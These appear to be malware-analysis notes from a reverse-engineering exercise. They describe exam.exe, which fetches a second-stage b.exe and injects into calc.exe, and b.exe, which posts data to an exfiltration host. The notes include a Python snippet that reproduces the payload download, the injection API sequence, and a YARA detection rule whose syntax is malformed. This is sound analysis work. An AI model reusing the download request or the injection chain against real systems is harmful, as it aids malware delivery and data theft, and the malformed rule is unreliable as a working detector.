---
# System prepended metadata

title: Reverse For Nofix

---

# Reverse For Nofix
FreezingKas and Au_Dede

## exam.exe

### Request : 

```
GET Request 
https://exam.nofix.re/b.exe 
User-Agent: WinHTTP ENSIBF/1.0
```
```
import requests

url = 'https://exam.nofix.re/b.exe'

headers = {
    'User-Agent': 'WinHTTP ENSIBF/1.0'
}

response = requests.get(url, headers=headers, allow_redirects=True)
open('b.exe','wb').write(response.content)
```

### Process : 
```
C:\\windows\\system32\\calc.exe
```

## b.exe
```
POST request

url : xfiltration.nofix.re

user agent "WinHTTP quackquack/1.0"

```

## Yara

```yara
import "pe"

rule injection
 {
     strings
     (
         $a = "VirtualAlloc"
         $b = "WriteProcessMemory"
         $c = "SetThreadContext"
         $e = "ResumeThread"
         $d = "WriteFileA"
         
         $dll = "user32.dll" nocase
     )
     
     condition:
         all of them and pe.is_pe and filesize < 20MB
 }
```

## Test sur exam.exe

```


antidebug :
![](https://i.imgur.com/jaRMaiM.png)

KERNEL32.DLL:kernel32_CreateProcessW
KERNEL32.DLL:kernel32_GetThreadContext
KERNEL32.DLL:kernel32_VirtualAllocEx
KERNEL32.DLL:kernel32_WriteProcessMemory
KERNEL32.DLL:kernel32_SetThreadContext
KERNEL32.DLL:kernel32_ResumeThread

![](https://i.imgur.com/nmWmB9F.png)



```